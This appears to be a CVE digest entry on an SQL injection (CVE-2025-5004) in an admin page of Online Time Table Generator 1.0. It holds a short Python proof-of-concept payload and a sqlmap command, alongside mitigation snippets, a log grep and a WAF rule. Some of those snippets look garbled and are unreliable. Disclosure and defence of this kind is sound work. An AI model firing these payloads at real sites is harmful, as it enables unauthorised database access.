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How CVE-2025-5004 Works
The vulnerability exists in `/admin/add_course.php` due to improper sanitization of user-supplied input in the `c/subname` parameter. An attacker can craft malicious SQL queries, leading to unauthorized database access. The flaw allows remote exploitation without authentication, enabling data theft, manipulation, or deletion. The SQL injection occurs because the application concatenates user input directly into SQL statements without parameterized queries or input validation.
DailyCVE Form
Platform: Online Time Table Generator
Version: 1.0
Vulnerability: SQL Injection
Severity: Critical
Date: 05/27/2025
Prediction: Patch expected by 06/15/2025
What Undercode Say:
Exploitation
import requests
target = "http://target.com/admin/add_course.php"
payload = "' OR 1=1 -- "
data = {"c/subname": payload}
response = requests.post(target, data=data)
if "error" in response.text:
print("Vulnerable to SQLi")
Protection
-- Use prepared statements PREPARE stmt FROM 'INSERT INTO courses (name) VALUES (?)'; EXECUTE stmt USING @user_input;
Detection
sqlmap -u "http://target.com/admin/add_course.php" --data="c/subname=test" --risk=3 --level=5
Mitigation
1. Patch with parameterized queries.
2. Implement WAF rules to block SQLi patterns.
3. Restrict database user permissions.
Analytics
- Attack Vector: Remote (HTTP POST)
- Privilege Escalation: Possible via DB compromise
- Exploit Complexity: Low (Public PoC available)
Log Analysis
grep "add_course.php" /var/log/apache2/access.log | grep -E "UNION|SELECT|--"
Nginx WAF Rule
location /admin {
if ($args ~ "([';]+|UNION|SELECT)") {
return 403;
}
}
Database Hardening
REVOKE ALL PRIVILEGES ON . FROM 'app_user'@'%'; GRANT SELECT, INSERT ON projectworlds. TO 'app_user'@'%';
Patch Verification
curl -I "http://patched-site.com/admin/add_course.php" | grep "X-Patched: true"
Sources:
Reported By: nvd.nist.gov
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